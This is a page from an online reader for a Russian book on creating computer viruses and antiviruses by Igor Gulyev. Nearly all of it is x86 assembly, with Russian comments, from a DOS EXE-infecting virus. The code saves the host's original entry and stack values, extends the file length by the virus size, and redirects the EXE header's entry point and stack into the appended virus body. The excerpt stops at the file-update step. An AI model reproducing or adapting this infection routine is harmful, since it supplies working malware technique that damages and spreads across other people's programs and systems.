Создаем вирус и антивирус. Игорь Гульев
Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 14

Название: Создаем вирус и антивирус

Автор: Игорь Гульев

Издательство:

Жанр: Компьютеры: прочее

Серия:

isbn: 5-89818-087-7

isbn:

СКАЧАТЬ style="font-size:15px;">      ;элемента в заголовке EXE−файла (Приложение А)

      InitRetVars:

      mov ax,[si+ReloSS]

      mov oldss,ax

      mov ax,[si+ExeSP]

      mov oldsp,ax

      mov ax,[si+ReloCS]

      mov oldcs,ax

      mov ax,[si+ExeIP]

      mov oldip,ax

      ;Восстановим из стека реальную длину файла

      ;В данном случае она совпадает с длиной, указанной в заголовке

      pop ax

      pop dx

      ;Рассчитаем длину программы с вирусом, для чего прибавим

      ;к длине файла длину тела вируса

      add ax,VIRSIZE ;VIRSIZE – длина тела вируса

      adc dx,0

      ;Рассчитаем получившуюся длину (одна страница – 512 байт)

      ;и остаток в последней странице (так же,

      ;как рассчитывали длину файла без вируса)

      mov cx,0200h

      div cx

      or dx,dx

      jz new_len

      inc ax

      New_len:

      ;Внесем в заголовок новую длину файла

      mov [si+PageCnt],ax

      mov [si+PartPag],dx

      ;Прочитаем реальную длину файла.

      ;По ней будем рассчитывать новую

      ;точку входа в программу (адрес запуска)

      Eval_new_entry:

      mov dx,Reallen+2

      mov ax,Reallen

      ;Рассчитаем новую точку входа.

      ;Точка входа в вирус должна находиться

      ;в начале его тела. Другими словами, нужно к длине файла

      ;прибавить смещение точки входа.

      ;Разделим длину на размер параграфа (10h)

      mov cx,10h

      div cx

      ;Получили число параграфов (AX) и остаток (DX – смещение

      ;вируса в последнем параграфе).

      ;Отнимем от числа параграфов в файле число

      ;параграфов в заголовке – получим сегмент входа в EXE−файл

      sub ax,[si+HdrSize]

      ;Запишем новую точку входа в заголовок

      mov [si+ReloCS],ax

      mov [si+ExeIP],dx

      ;Замечание: можно было округлить полученное число,

      ;и вирус начинался бы с 0000h.

      ;Но этого делать не стоит.

      ;Естественно, все обращения к данным в этом вирусе

      ;должны быть нефиксированными, как и в любом другом вирусе.

      ;Вместо ”mov ax,ANYDATA” придется делать так:

      ; mov si,VIRSTART

      ; mov ax,[si+offset ANYDATA]

      ;где offset ANYDATA – смещение относительно начала тела вируса

      ;Стек поставим за тело вируса – байт на 100h. Потом обязательно

      ;вернем, иначе можно стереть заготовленные в стеке значения!

      ;Установим сегмент стека такой же, как и кода,

      ;а указатель на вершину стека –

      ;на 100h байт после тела вируса

      mov [si+ReloSS],ax

      mov ax,VIRSIZE+100h

      mov [si+ExeSP],ax

      ;Теперь запишем заголовок в файл, не забыв и тело вируса.

      ;Рекомендуется писать сначала тело, а потом заголовок.

      ;Если тело вдруг не допишется,

      ;то файл испортим зря

      UpdateFile:

СКАЧАТЬ